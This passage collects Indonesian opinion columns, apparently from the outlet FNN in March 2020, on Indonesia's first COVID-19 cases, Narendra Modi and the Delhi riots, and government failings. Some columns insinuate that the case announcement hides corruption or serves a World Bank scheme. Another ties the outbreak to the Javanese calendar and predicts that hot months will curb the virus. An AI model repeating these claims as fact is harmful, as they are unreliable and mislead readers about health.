serta mewabahnya virus corona di dunia, prinsip utama amalan yang tepat dilakukan kaum muslimin adalah semua amalan, yang dapat menjaga kesehatan nafs sebagai sel genetik. Adapun secara spesifik, untuk menghadapi mewabahnya virus corona, berikutnya akan disampaikan beberapa hal penting antisipatif, BERSAMBUNG #SERI 3 (TERAKHIR) Penulis adalah Holistic Healing Consulting, Expert and Inventor Medical Quran, tinggal di Bogor, Indonesia.

PM India Narendra Modi, Ekstremis Hindu dengan Ideologi Fasis

By Asyari Usman Jakarta, FNN - Amukan virus Corona sudah sampai ke 84 negara. Indonesia baru konfirmasi dua kasus, Senin (2/3/2020). Ketakutan dunia pada virus ganas ini membuat isu-isu penting domestik dan internasional menjadi tertutupi. Di antara yang terabaikan media di Indonesia adalah kerusuhan anti-Islam di India. Kerusuhan di Delhi, ibukota India, pada 27/2/2020 yang menewaskan lebih 49 orang (sebagian besar warga muslim), adalah peristiwa yang ‘diinginkan’ oleh Perdana Menteri (PM) Narendra Damodardas Modi. Dia ‘merestui’ itu. Tidak tepat disebut ‘kerusuhan’. Sebab, massa ekstremis Hindu-lah yang melancarkan serangan membabibuta terhadap kaum muslimin. Massa ekstremis Hindu membakar sejumlah masjid dan pertokoan milik orang Islam. Mengeroyok warga muslim yang tidak bersenjata. Hebatnya, Polisi di Delhi hanya berdiam diri. Tidak melakukan pencegahan. Bahkan mereka ikut meneriakkan slogan-slogan anti-Islam bersama massa ekstermis Hindu. Ada juga kabar yang menyebutkan bahwa polisi melakukan tindakan brutal terhadap madrasah-madrasah milik kaum muslimin. PM Narendra Modi adalah ‘arsitek’ penyerangan warga muslim. Dalam arti, kerusuhan itulah yang dia dambakan. Terlihat jelas dari reaksi Modi yang bungkam berhari-hari selama kerusuhan itu berlangsung. Modi pasti sadar akan terjadi kerusuhan. Dia tahu peris perubahan konstitusi India yang dipaksakan melalui parlemen yang dikuasai partainya, BJP (Bharatiya Janata Party), akan menyulut reaksi keras umat Islam. Amandemen yang diprakarsai Modi mendiskrimanasikan 200 juta umat Islam di India. Dengan amandemen itu, semua warga minoritas dari negara-negara tetangga India yang menganut agama Hindu, Budha, Kristen, Jain, Sikh dan Parsi dimudahkan menjadi warga negara India begitu mereka masuk sebagai pencari suaka atau alasan lain. Sedangkan orang Islam tidak diberi hak itu. Kemudian, parlemen yang dikuasai Modi juga mengubah status otonomi Kashmir yang berpenduduk mayoritas muslim. Status otonomi itu dicabut. Sebegitu jahat agenda Modi. Amandemen konstitusi yang menyudutkan warga Islam ini menyulut aksi. Unjukrasa terjadi di mana-mana selama tiga bulan belakangan. Apa yang menyebabkan PM Modi anti-Islam dan terinspirasi fasisme? Kronologinya simpel saja. Modi adalah penganut paham ekstrem Hindu. Bagi dia, di India hanya Hindu yang boleh ada. Itulah isi kepala Modi. Itulah keinginan natural politisi Hindu esktremis tsb. Dia mendambakan pelenyapan kelompok-kelompok minoritas di India. Khususnya Islam. Ideologi fasis itu tersemai ketika Modi masih remaja. Dia ikut menjadi anggota Rashtriya Swayamsevak Sangh (RSS). RSS lebih-kurang berarti Orgnasisasi Relawan Nasional. Para pendiri RSS terinspirasi oleh gagasan fasisme Adolf Hitler di Jerman dan Bennito Mussolini di Italia. Hitler dan Mussolini ingin menjadikan negara mereka tanpa golongan minoritas. Narendra Modi merasa cocok dengan RSS. Dia masuk ke ormas ini sejak 1971. Masih berusia 21 tahun. RSS adalah ormas yang melakukan kerja-kerja yang membantu kaum miskin Hindu di India. Tujuan politik RSS adalah menjadikan India sebagai ‘negara Hindu’ (Hindu Rashtra) berdasarkan ‘Hindutva’ (Hinduness atau kehinduan). RSS memang berpotensi mencapai cita-cita ini. Mereka punya jutaan anggota semi-militer aktif (paramilitary). Mereka terlatih dengan disiplin militer dan memiliki sturktur kemiliteran. Pada 2014, anggota RSS antara 5-6 juta orang. Modi ‘merintis’ Hindu Rashtra ketika dia menjadi Menteri Besar (Chief Minister) di negara bagian (provinsi) Gujarat pada 2001. Pada 2002, terjadi kerusuhan antara orang Hindu dan warga muslim yang menyebabkan lebih 1,000 warga muslim terbunuh. BJP dan sekutunya Vishwa Hindu Parishad (Dewan Hindu Dunia atau VHP) menghasut massa Hindu agar menghajar umat Islam. Modi sendiri waktu itu melecehkan umat Islam yang sedang berada di kam-kam pengungsian. Inilah yang diuraikan oleh Rana Ayyub, wartawan India yang menulis buku “Gujarat Files: Anatomy of A Cover Up”. Ketika itu Rana berusia 19 tahun dan ikut menjadi relawan yang membantu warga muslim korban pembantaian Gujarat 2002. Rana menulis tentang Narendra Modi, “I have witnessed his lust for power and his ease with bloodshed from close quarters.” (Saya menyaksikan nafsu kekuasaannya dan rasa senang dia melihat pertumpahan darah). Kata Rana, Modia sampai sekarang tidak pernah merasa bersalah dalam peristiwa pembantaian Gujarat itu. Dia tak pernah menyebut-nyebut kerusuhan itu apalagi meminta maaf. Itulah sekilas tentang fasisme pikiran Narendra Modi. Dia ikut pemilihan parlemen nasional atau Lok Sabha pada 2014. BJP menang. Modi dilantik menjadi PM. Di periode kedua jabatannya sebagai PM sejak dilantik Mei 2019, Modi unjuk kekuatan. Dia menang besar di pemilu 2019 itu. Dia semakin yakin bahwa melenyapkan Islam dari India adalah target yang didukung sebagian besar umat Hindu. Modi berhasil membentuk umat Hindu basis pendukungnya menjadi akar rumput yang ekstrem dan brutal. Modi adalah ekstremis Hindu yang memainkan sentimen nasionalis-Hinduisme. Jelas sekali dia naik menjadi PM melalui jalur ekstremisme Hindu yang menghendaki pembentukan negara Hindu India tanpa Islam. Dia adalah ekstremis Hindu yang bermuka dua. Dia memang sangat lihai melakonkan muka dua itu. Terutama di depan para pemimpin asing, khususnya para pemimpin dunia Islam, yang bertamu ke India atau ketika dia bertamu ke negara-negara lain. Di pentas internasional, Modi memoles ekstremisme Hindu di wajahnya menjadi seorang negarawan palsu. Dia pandai berkomunikasi dengan para kepala negara dan pemerintahan asing. Seolah dia bukan seorang yang bergagasan fasis anti-Islam. Para pemimpin negara Islam kemudian memuliakan Modi dengan penghargaan tertinggi. Termasuk dari Palestina, Uni Emirat Arab (UAE), Afghanistan, Arab Saudi, dst. Dia juga dipilih sebagai tokoh yang berpengaruh oleh sejumlah media besar di dunia, termasuk majalah TIME untuk 2014, 2015, dan 2017. Majalah Forbes pada 2015. Begitu juga CNN-IBN pada 2014. Bloomberg pada 2015. Semua penghargaan itu tak pantas untuk pikiran kotor fasisme PM Modi. Dia tak layak disebut negarawan. Tangannya berlumuran darah umat Islam di India. Para pemimpin internasional dan dunia Islam harus disadarkan tentang ideologi fasis Narendra Modi.[] 5 Maret 2020 Penulis wartawan senior.

Ironi Virus Corona, Siapa yang Hoax?

Oleh Mochamad Toha Jakarta, FNN - Panik! Itulah yang terjadi pasca Presiden Joko Widodo mengumumkan adanya dua orang Indonesia positif terkena Virus Corona di Indonesia, Senin (2/3/2020). Sebagian warga DKI Jakarta ada yang memborong berbagai kebutuhan sehari-hari di super market. Istilah kerennya, telah terjadi panic buying. Melakukan belanja besar-besaran. Ada juga yang panik karena tidak mendapatkan masker. Hingga Presiden Jokowi pun memerintahkan untuk menangkap pihak yang menimbun masker dalam jumlah besar. Menurut Presiden Jokowi, dua orang ini berinteraksi dengan WN Jepang yang sempat masuk ke wilayah Indonesia. “Ternyata orang (WN Jepang) yang terkena virus corona berhubungan dengan 2 orang, ibu 64 tahun dan putrinya 31 tahun,” kata Jokowi. “Dicek dan tadi pagi saya dapat laporan dari Pak Menkes bahwa ibu ini dan putrinya positif corona,” ujar Jokowi, seperti dilansir Detik.com, Senin (2/3/2020). Presiden Jokowi ketika itu belum membuka kedua suspect virus corona ini tinggal di mana. Menkes Terawan Agus Putranto menyebutkan, dua orang WNI yang positif virus corona ini tinggal di wilayah Depok, Jawa Barat. “Daerah Depok,” katanya di Istana Kepresidenan, Jakarta, seperti dilansir Kompas.com, Senin (2/3/2020). Menurut Terawan, Keduanya tertular dari warga negara Jepang yang berkunjung ke rumah mereka di Depok. Warga Jepang itu baru terdeteksi positif corona setelah meninggalkan Indonesia dan tiba di Malaysia. Setelah itu, Kemenkes melakukan penelusuran dan dipastikan bahwa ibu dan anak yang melakukan kontak dengan warga Jepang itu juga positif corona. “Dia (WN Jepang) itu guru dansa. Dia dansa dengan teman dekatnya itu pada 14 Februari,” kata Terawan. Lalu pada 15 Februari 2020, WNI tersebut mengalami batuk-batuk dan tidak enak badan. Dia lalu melakukan rawat jalan di RS Mitra Keluarga di Depok. Ternyata sakitnya terus berlanjut. Baru pada 26 Februari 2020 pasien ini minta dilakukan perawatan di rumah sakit. “Dia minta dirawat aja, wong batuknya enggak ilang-ilang,” jelas Terawan, seperti dikutip di berbagai media. Baru pada 28 Februari 2020, warga Jepang yang tinggal di Malaysia dan bertamu ke pasien itu menelepon dan mengabarkan bahwa dia (WN Jepang) positif corona Saat ini, kata Terawan, dua warga yang dinyatakan positif virus corona atau Covid-19 itu tengah menjalani perawatan intensif di Rumah Sakit Pusat Infeksi Prof. DR. Sulianti Saroso, Jakarta Utara. “(Sekarang dirawat) di RSPI Sulianti Saroso di ruang khusus yang tidak terkontak dengan yang lain,” ucap Terawan. Dengan pengumuman ini, maka untuk kali pertama ada penemuan orang yang terjangkit virus corona di Indonesia. Beberapa waktu lalu diberitakan, ada sejumlah WNI yang terjangkit virus corona, tetapi mereka berada di luar Tanah Air. Misalnya, seorang perempuan WNI yang berada di Singapura. Dia diketahui sebagai WNI pertama yang terjangkit virus corona ketika bekerja sebagai pramuniaga di Negeri Singa. Perempuan itu belum pernah ke China. Dia diduga terjangkit virus corona dari sejumlah wisatawan yang datang ke toko tempat dia bekerja. Kasus berikutnya adalah setidaknya 9 WNI yang terjangkit virus corona saat bekerja sebagai awak kapal pesiar Diamond Princess. Dari sembilan WNI itu, lima orang diantaranya dirawat di rumah sakit, sedangkan empat orang sisanya masih di kapal. Dengan adanya pernyataan Presiden Jokowi dan Menkes Terawan terkait ibu-anak positif virus corona tersebut, kekhawatiran WHO selama ini terjawab sudah. Indonesia termasuk salah satu dari 73 negara yang terkena virus corona. Terbaru, virus corona atau COVID-19 sudah tembus 73 negara dan terhitung 90.872 kasus. Dari 90.872 kasus virus corona, ada 3.117 orang meninggal dunia akibat virus corona. Tapi, terhitung juga ada sebanyak 48.002 orang sembuh dari virus corona itu. Dari jumlah korban terinfeksi virus corona, dinyatakan alami lonjakan dari hari ke hari. Hal itu dikutip Kompas.com dari SCMP, data hingga Selasa (3/3/2020) pagi hari. SCMP sebut total kasus infeksi virus corona di seluruh dunia 90.872 kasus. Data Hoax? Mengutip CNNIndonesia.com, Selasa (03/03/2020 15:41 WIB), salah satu warga Depok, Jabar, NT, merasa nama baiknya menjadi buruk karena kabar dia dan ibunya positif virus corona. Dia merasa, informasi yang berkembang dan beredar tentang dia dan ibunya tidak benar. NT mengatakan saat ini mentalnya jatuh meski secara fisik dia baik-baik saja. “Physically fine, but mentally drained with all the rumors (Secara fisik baik-baik saja, tapi secara mental lelah karena berbagai rumor). Enggak terima gue, kita dijelek-jelekin gini,” ujar NT. Selama bertahun-tahun dia sudah berjuang di bidang kesenian untuk mengharumkan nama bangsa. Bahkan ibundanya juga seorang tokoh budaya yang sering mendapatkan penghargaan atas nama Indonesia. “Saya dan ibu saya adalah penari profesional, bertahun tahun mengharumkan nama Indonesia di mancanegara dengan kegiatan tari dan budaya. Ibu adalah tokoh/budayawan yang berjuang untuk kesenian dan kebudayaan Indonesia dan kami melakukan itu semua karena kami cinta Indonesia, bukan untuk diolok-olok di saat kami sedang menjadi korban virus,” ucapnya. “Ibu juga tokoh budaya. Tokoh tari terkenal banget di Indonesia. Pada 2018 kemarin dapat Chevalier dans l'ordre des Arts et Lettres dari Pemerintah Prancis. Sekarang nama kami seperti ini,” ujarnya. NT juga mengklarifikasi seorang WN Jepang yang disebut berkunjung ke rumahnya. NT dan ibunya disebut tertular dari WN Jepang. NT menyatakan tidak pernah mengenal WN Jepang tersebut. Dia juga menyebut WN Jepang itu sama sekali tak pernah bertamu ke kediamannya. “I don't know who this Japanese person is (Saya tidak kenal siapa orang dari Jepang ini). Saya garis-bawahi, orang Jepang ini perempuan, bukan laki laki. Juga tidak pernah ke rumah kami seperti yang diberitakan,” kata NT. Lebih lanjut NT menceritakan runutan kejadian awal hingga akhirnya diisolasi di RSPI Sulianti Saroso, Jakarta Utara. Dia mengatakan, pada 16 Februari, dia batuk dan demam. Semenjak itu dia memutuskan tidak keluar rumah. “Hari Kamis lalu, karena masih sakit saya ke RS Mitra Keluarga Depok dan diinfokan bahwa saya bronchopneumonia dan ibu saya tifus. Kami saat itu masih tidak ada pikiran apapun meskipun dirawat,” kata NT. Pada Jumat, 27 Februari lalu dia mendapat telepon dari kawannya di Malaysia. Temannya mengatakan, perempuan Jepang yang sempat ke Amigos, Kemang pada 14 Februari dan ke Paloma Lounge and Bar, Menteng pada 15 Februari, positif virus corona per-26 Februari dan dirawat di Malaysia. NT sendiri pada 15 Februari itu menjadi pembawa acara di Paloma Lounge and Bar. “Demi keamanan dan kesehatan nasional, saya info ke dokter agar saya diperiksa karena itu saya diisolasi dari hari Minggu. Saya bahkan sampai sekarang tidak tahu dan tidak kenal perempuan Jepang ini siapa,” kata NT. “Saya hanya sempat berada di ruangan yang sama dengan perempuan Jepang ini tanpa mengenal dia siapa,” tambahnya. NT menuturkan, dia sudah memberikan nomor kontak keluarga dan teman-teman terdekat. Mereka sudah dihubungi oleh Dinas Kesehatan DKI Jakarta dan diambil sampelnya untuk memastikan virus tidak tersebar. NT menyebut, dia merasa berada di tempat dan waktu yang salah. Karena itu dia meminta semua pihak untuk tidak menyebarkan foto-foto dia dan ibunya maupun informasi tidak benar ke media sosial. “Tolong jaga privasi saya dan keluarga saya, berhenti menyebarkan foto foto kami dan berita melenceng tentang kami,” kata dia. Adanya penetapan 2 orang penderita secara tiba-tiba ini, apalagi belum ada hasil peneliaian dari Litbangkes Kemenkes, akhirnya bisa mengesankan, Presiden Jokowi main tuduh saja, tanpa informasi yang lengkap. Setelah ditetapkan, penderita protes di medsos terkait status corona dan profil keluarganya. Bahkan, penderita membantah telah berdansa dengan orang Jepang dan tidak mengenalnya. Dia hanya salah satu tamu di sebuah klub. Ketua RT tempat penderita, tidak diberitahu apapun tentang status penderita tersebut. Ketua RT membantah penderita hidup eksklusif. Sebab dia aktif di lingkungan. Apalagi, Menkes bilang, corona tidak lebih bahaya dari flu biasa dan corona bisa sembuh sendiri. Presiden Jokowi sudah perintahkan tangkap penimbun masker. Tapi, mengapa untuk kasus korupsi Jiwasraya, Asabri, BLBI, Dana Haji, BPJS, Trans Jakarta, dan Harun Masiku nyaris tak ada perintah? Adakah pemberitaan secara massif ini hanya untuk menutupi kasus-kasus korupsi tersebut? Sampai tokoh sekaliber Dahlan Iskan menulis dengan judul Dua Pertama yang isinya terkait sosok ibu dan anaknya yang divonis positif corona tersebut? “Seperti juga Liverpool dan Barcelona, akhirnya pertahanan Indonesia jebol juga. Setelah dua bulan bikin aneh warga jagat raya 1 Maret kemarin ditemukanlah penderita virus corona pertama di dekat Jakarta. Sekaligus dua,” tulisnya di Disway.id (03 March 2020). Mas Dahlan, begitu saya biasa memanggil mantan Menteri BUMN itu, terlalu dini ikut "memvonis" dua warga Depok ini positif corona tanpa melihat catatan medisnya terlebih dahulu. Dapat dipastikan, dalam beberapa pekan, isu virus corona di Indonesia akan selalu mewarnai pemberitaan media secara massif. Apalagi, Bank Dunia sudah menyiapkan paket bantuan senilai US$12 miliar, setara Rp170 triliun (kurs Rp14.221 per dolar AS) untuk membantu negara anggotanya memerangi wabah virus corona. Bantuan untuk mengatasi masalah kesehatan, serta ekonomi di negara-negara miskin dan berkembang yang ditimbulkan oleh virus corona atau Covid-19. Sudah jelas kan ke mana arah "serangan" virus corona itu? Bank Dunia mencari koloni ekonomi baru! ** Penulis wartawan senior.

Krisis Keseimbangan &Tenggelamnya Kapal Pemerintahan

By Haris Rusly Moti Jakarta FNN - Alam memberikan isyarat melalui peristiwa yang terjadi di sekitar kita. Tuhan Yang Maha Kuasa memberi kelebihan pada setiap ciptaanya. Manusia misalnya diberi kelebihan akal yang tak dimiliki oleh makhluk ciptaan Tuhan yang lain. Sementara itu, ciptaan Tuhan yang lain juga diberi kelebihan dalam insting hingga penglihatan dan penciuman yang sangat tajam dalam menditeksi setiap ancaman yang akan terjadi. Karena itu, alam dan makhluk hidup di luar manusia sering kali memberi isyarat tentang sebuah peristiwa yang akan terjadi. Kadang isyarat itu tak dapat dicerna oleh akal manusia yang tumpul batinnya. Hanya dengan kepekaan batiniah, kita bisa menangkap isyarat yang disampaikan alam. Isyarat alam itu biasanya terlihat berlangsung secara kebutulan (coinsdence). Orang Jawa menyebutnya “ndilalah”. Walaupun sebetulnya tak ada yang ujuk-ujuk terjadi. Tidak ada juga yang kebutulan. Jika dirunut, setiap peristiwa pasti ada sebab-musababnya. Ada hukum sebab akibatnya (kausalitas). Kapal Sinar Bangun yang tenggelam di danau Toba beberapa tahun lalu dapat saja dikatakan sebagai isyarat alam. Isyarat tentang nasib dari bangsa dan negara kita ke depan. Isyarat yang disampaikan oleh Toba, dapat ditafsirkan sebagai keadaan dan situasi yang dapat saja terjadi pada kapal pemerintahan. Kapal yang di-nakhodai oleh Presiden Joko Widodo ke depan. Krisis Kapasitas Ada dua isyarat alam yang dapat kita ditafsirkan terkait tenggelamnya kapal di Toba tersebut. Pertama, isyarat tentang “krisis kapasitas” yang merusak keseimbangan alam, juga keseimbangan ekonomi, sosial dan politik yang menenggelamkan sebuah “kapal” pemerintahan. Kapal Sinar Bangun itu dikabarkan sengaja mengangkut penumpang melebihi kapasitasnya. Ketika badai itu datang, maka kapal yang kelebihan kapasitas (over capacity) otomatis pasti kehilangan kendali keseimbangan. Kapalnya oleng, lalu tenggelam ke dasar danau. Pengalaman krisis keuangan dan resesi ekonomi yang terjadi di sejumlah negara, juga dipicu baik oleh kelebihan produksi (over production). Selain itu, terjadi kelebihan kapasitas (over capacity) yang menciptakan situasi ketidakseimbangan (unbalance) dalam neraca pergerakan ekonomi. Karena itulah, Tuhan Yang Maha Kuasa di dalam Qur’an Surat Ar-Rahman mengajarkan agar senantiasa menjaga keseimbangan. “Dan langit telah ditinggikan-Nya. Dan Dia ciptakan keseimbangan. Agar kamu jangan merusak keseimbangan itu. Dan tegakkanlah keseimbangan itu dengan adil dan janganlah kamu mengurangi keseimbangan itu”. Ketidakseimbangan dalam bidang ekonomi akan memicu krisis atau resesi ekonomi. Revolusi sosial atau amuk massa adalah akibat saja dari tidak tegaknya keseimbangan sosial yang ditandai oleh adanya ketimpangan antara sikaya dengan simiskin. Demikian juga alam semesta, jika keseimbangannya dirusak oleh tangan-tangan manusia, maka akan memicu “amuk alam” atau “revolusi alam”, seperti banjir, longsor, tsunami, gunung berapi, dan lain-lainnya. Surprising Krisis Kedua, isyarat tentang efek kejut atau "serangan pendadakan" yang memicu kepanikan dan mengguncang keseimbangan. Isyarat kejut ini dapat menenggelamkan sebuah kapal angkutan. Begitu juga dengan "kapal" pemerintahan. Persis seperti efek kejut (surprising) dari serangan krisis moneter yang merusak keseimbangan ekonomi. Efek yang pernah menenggelamkan sejumlah kapal pemerintahan di dunia. Termasuk diantaranya tenggelamnya kapal pemerintahan Orde Baru yang di-nakhodai oleh Presiden Soeharto tahun 1998. Sebagaimana kapal Sinar Bangun yang dikejutkan oleh serangan badai yang tidak diperkirakan sebelumnya oleh nakhoda kapal. Ketika badai itu datang secara mendadak, pasti tak ada sama sekali persiapan untuk mengantisipasinya. Nakhoda panik, penumpang juga panik dan hesteris. Maka, kapal yang kelebihan kapasitas itu otomatis kehilangan keseimbangan, dan tenggelam. Pelajaran tentang pendadakan serangan seperti itu sudah ditulis di dalam Qur’an surat Az Zumar. “Dan ikutilah sebaik-baik apa yang telah diturunkan kepadamu (Al-Qur’an) dari Tuhanmu sebelum datang azab kepadamu secara mendadak, sedang kamu tidak menyadarinya”. Pendadakan azab itu dengan senjata “amuk alam”, seperti gempa, tsunami, lonsor, dan lain-lain. Biasanya azab datang di saat manusia sedang lengah, tidak waspada. Misalnya, sedang tertidur pulas, pesta pora, atau sedang sibuk dengan urusan dunia lainnya. Di dalam dunia intelijen, strategi pendadakan atau surprising intelijen, biasanya terjadi di luar dari jangkauan perkiraan keadaan (Kirka) maupun perkiraan dukun (Kirduk). Persis amuk alam yang terjadi di luar perkiraan, seperti gempa dan tsunami, yang datang secara mendadak dan mengejutkan. Karena itu, salah satu fungsi pentingnya intelijen negara adalah sebagai peringatan dini (early warning system). Tujuannya, untuk menghindari strategi pendadakan (strategic surprised) yang mengguncang keseimbangan. Termasuk yang bisa melumpuhkan mental, memicu kepanikan dan amuk sosial. Surprising intelijen atau strategi pendadakan (surprises), seperti peledakan bom, capital flight dan pelemahan nilai tukar, wabah penyakit adalah salah satu hal yang harus diantisipasi oleh intelijen negara. Apalagi kemajuan teknologi informasi saat ini, strategi pendadakan seperti itu dapat terjadi secara simultan dengan kecepatan pergerakan yang sulit dikendalikan. Krisis Keseimbangan Persis seperti manusia yang memikul beban (amanah) di luar batas kapasitasnya. Jika dipaksakan terus memikul, maka pasti akan tersungkur. Demikian juga sebuah negara dan pemerintahan, dapat berdiri karena ditopang baik oleh kapasitas mental manusianya, maupun kapasitas sistem negara yang mengoperasikannya. Jika kapasitas mental (karakter) manusianya telah rusak dan menjadi rongsokan. Para pemimpinnya sibuk merampok memperkaya diri dan keluarganya. Maka kapal pemerintahan tersebut, pasti akan hilang keseimbangannya dan tenggelam ketika dikejut kan oleh badai krisis yang bergolak. Di era reformasi, dan khususnya di era pemerintahan Joko Widodo, krisis keseimbangan terjadi dalam seluruh aspek kehidupan masyarakat, bangsa dan negara. Ketidakseimbangan alam terjadi akibat keserakahan mengeruk kekayaan alam . Kondisi ini ditopang oleh sistem Otonomi Daerah dan Pilkada langsung. Ketidakseimbangan di dalam neraca pergerakan ekonomi juga tak kalah mengancam. Ekonomi lebih besar pasak dari tiang. Lebih besar utang dari asset. Lebih besar impor dari ekspor. Lebih besar konsumsi dari produksi. Lebih besar belanja dari pendapatan. Demikian juga ketidakseimbangan di dalam kehidupan sosial jauh lebih mengancam. Global Wealth Report 2016 yang disampaikan oleh lembaga riset Credit Suisse menyebutkan Indonesia berada di posisi keempat negara dengan tingkat kesenjangan tertinggi di dunia. Dalam laporan terbaru Oxfam tahun 2017 berjudul “Menuju Indonesia Yang Lebih Setara” menyimpulkan sebagai berikut “Indonesia berada pada peringkat keenam dalam kategori ketimpangan distribusi kekayaan terburuk di dunia”. Pada tahun 2016, sebanyak 1 persen individu terkaya dari total penduduknya menguasai hampir separuh (49 persen) total kekayaan secara nasional. Jumlah miliarder mengalami peningkatan dari hanya satu orang pada tahun 2002 menjadi 20 orang pada tahun 2016. Selanjutnya Oxfam mencatat “tahun 2016, kekayaan kolektif dari empat miliarder terkaya tercatat sebesar U$25 miliar. Lebih besar dari total kekayaan 40 persen penduduk termiskin, sekitar 100 juta orang. Hanya dalam waktu sehari, orang Indonesia terkaya dapat meraup bunga dari kekayaannya lebih dari seribu kali lipat jumlah pengeluaran rakyat Indonesia termiskin untuk kebutuhan dasar mereka selama setahun penuh”. Penulis adalah Mantan Aktvis ‘98

Wabah Virus Corona dan Antisipasi Jatuhnya Bulan Haram - 1

Oleh Mochammad Sa'dun Masyhur Jakarta, FNN - Tulisan ini telah selesai 3 hari sebelum Presiden mengumumkan bahwa dua warga Depok, seorang ibu dan anak gadisnya positif suspect virus corona. Sempat urung saya sebarkan, takut disalahpahami, lalu dilaporkan, telah menyebarkan berita bohong, dan membuat keresahan. Pengumuman Presiden itu harus dipahami bahwa kini keberadaan virus corona di Indonesia telah menjadi realitas, harus diterima semua pihak, dengan segala konsekuensinya. Dan deklarasi perang terhadap virus corona, sudah ditabuh. Realitas ini sekaligus mematahkan spekulasi yang beredar luas, bahwa orang Indonesia kebal virus corona. Atau ungkapan bahwa daerah tropis aman penyebaran virus yang memiliki nama resmi COVID-19 itu, tidak benar. Dalam hal ini keberhasilan tim medis untuk melakukan identifikasi COVID-19, terhadap pasien pertama di Indonesia, patut diacungi jempol. Keberhasilan itu, tidak hanya menyangkut kecangihan peralatan medis yang digunakan hingga menepis keraguan banyak pihak, tetapi juga menunjukkan kemahiran dan kehandalan Tim dan seluruh pihak yang terlibat. Selanjutnya, dalam rentang waktu 14 hari ke depan, teriring doa, dan harap-harap cemas, rakyat menantikan, semoga dua pasien pertama itu dapat diselamatkan, dan sehat kembali. Bagi masyarakat sangat penting dipahami bahwa wabah penyakit, termasuk COVID-19, adalah suatu fenomena alam biasa. Tidak perlu panik, tetapi tetap butuh kewaspadaan yang tinggi, dan perlu membekali diri dengan pengetahuan yang tepat dan berguna, termasuk informasi bagaimana fenomen alam ini akan berlanjut. Lantas, apa hubungannya dengan bulan Rajab, yang disebut sebagai bulan haram, bulan khusus yang dimuliakan? Dalam ilmu astronomi, rotasi dan revolusi bulan, bumi dan matahari akan berpengaruh terhadap perubahan rasi bintang. Secara kasat mata dapat dirasakan dan dilihat, perbedaan pancaran gemerlap kerlip bintang di langit, perubahan siang-malam, terjadinya gerhana, pasang surut air laut, perbedaan musim dan iklim, serta perubahan arah dan kecepatan angin. Dengan alat sederhana, dapat juga diukur perubahan gravitasi bumi dan perjalanan waktu. Seluruh perubahan itu kemudian akan mempengaruhi kehidupan seluruh mahluk hidup. Yakni setiap mahluk yang memiliki sel genetik, yang dalam terminologi Alquran disebut sebagai tiap-tiap yang bernafs (kullu nafsin). Perubahan itu akan mempengaruhi terhadap seluruh aspek kehidupan: kelahiran, pertumbuhan, perkawinan, pembuahan dan kematian. Itulah sebabnya hanya pada bulan tertentu bunga-bunga bermekaran warna-warni. Kupu-kupu yang beragam jenisnya, tiba-tiba hadir mengepak-epakkan sayapnya yang indah. Atau pohon-pohon tertentu berbuah hanya pada musim tertentu. Dan sekiranya pohon yang sama itu berbuah setiap waktu, rasa buahnya menjadi berbeda-beda. Dalam kaitanya dengan perhitungan bulan, QS. 9 Attaubah: 36, menetapkan bahwa jumlah bulan dalam satu tahun sebanyak 12 bulan. Perhitungan ini menganulir kepercayaan kaum pagan, penyembah berhala atau matahari di jazirah arab waktu itu, yang semula meyakini jumlah bulan setahun sebanyak 13 bulan. Selanjutnya pada Ayat yang sama juga dinyatakan, di antara 12 bulan itu terdapat 4 bulan haram. Sesuai Chadits, jatuh pada bulan Muharram, Rajab, Dzulkoidah dan Dzulhijah, yang secara berurutan sebagai bulan ke 1, 7, 11 dan 12 Hijriyah. Masa waktu bulan itu, nyaris sama ditetapkan dalam kalender Jawa dikenal sebagai bulan Suro, Rejeb, Apit, dan Besar. Dalam hubungannya dengan perubahan siklus bulan, kebetulan sekarang ini bertepatan dengan bulan Rajab, yang dalam kalender solar terjadi antara 23 Februari s/d 24 Maret 2020. Fenomena wabah virus corona, dan wabah penyakit lainnya yang terjadi sekarang ini, tidak dapat dilepaskan dengan perubahan siklus semesta alam, yang terjadi pada bulan-bulan sebelumnya. Perubahan musim dan cuaca ekstrim, sebenarnya telah mulai pada bulan kelima, yang dalam astronomi Jawa, disebut mongso manggolo. Pada musim ini, ditandai dengan terjadinya hujan sangat lebat (tidak harus di P Jawa), pohon asam mulai menumbuhkan daun muda, ulat mulai bermunculan, ular keluar sarang, dan laron keluar dari liangnya. Tanda lainnya bagi petani, jenis tumbuhan empon-empon, lempuyang dan temu kunci mulai bertunas. Sebenarnya mongso kalimo atau terjadi pada bulan Jumadil Awal itu, semua mahluk hidup mengalami perkembangan atau pertumbuhan awal, dimana pada bulan sebelumnya menetas dan mulai tumbuh dan berkembangbiak. Musim ini juga disebut mongso labuh-semplah karena berbagai jenis ragam ikan di laut banyak bermunculan, sehingga para nelayan mulai panen raya ikan, dan banyak kapal berlabuh untuk menjual ikan di pelabuhan. Perkembangiakan dan tumbuhan nernagai jenis dan ragamnya juga terjadi dan dialami biota renik, serta segala macam mikroorganisma di muka bumi. Pada musim inilah diperkirakan virus corona mulai berkembang biak. Secara faktual, virus corona awalnya hanya dikenali sebagai virus yang menyerang hewan itu, dilaporkan terjadi pada medio November 2019, di pasar grosir hewan, Wuhan, China Selatan. Penyebaran virus antar hewan itu kemudian bermutasi menjadi virus yang menyerang manusia, dan dilaporkan korban pertama pada 31 Desember 2019, meskipun dalam laporan yang lain disebut 3 Desember 2019. Berlanjut kemudian, penyebaran COVID-19 itu terjadi antar manusia dengan sangat cepat dan mematikan. Masa pancaroba ini kemudian bertemu musim buah, sebagai sumber kehidupan yang melimpah bagi seluruh kehidupan mahluk hidup. Pada mongso kanem ini, hampir seluruh buah-buahan, mangga, durian, rambutan, sawo, manggis dan lain-lainnya, panen raya. Pada musim ini, sebenarnya melimpah sumberdaya bagi manusia untuk memilih asupan gizi yang terbaik guna menjaga daya tahan dan kesehatan tubuh, sebagai cadangan di musim berikutnya. Memasuki mongso kapitu bersamaan dengan bulan haram, Rajab, dalam. siklus mata rantai mahluk hidup yang terputus akan terjadi ledakan populasi. Persoalan akan muncul jika populasi yang mengalami ledakan itu bersifat patogen bagi manusia, sehingga sangat berbahaya. Akibatny, dalam astronomi Jawa, bulan Rajab ini, dicatat sebagai puncak penyebaran penyakit. Condro pranoto mongsonya berbunyi, wiso kéntir ing maruto, artinya racun hanyut bersama tiupan angin. Sehingga akan banyak timbul penyakit, tidak hanya pada manusia tetapi juga ternak unggas serta menjangkiti semua mahluk hidup. Perubahan mulai masuknya musim panas pada dua bulan berikutnya, setelah bulan Sya'ban (mulai 25 Maret 2020) dan pada Ramadhon (24 April 2020), akan sangat menolong, karena dalam kondisi panas berbagai jenis jamur dan renik patogen dengan sendirinya akan berkurang, atau setidaknya tidak mampu berkembang. Karena itulah penyebaran 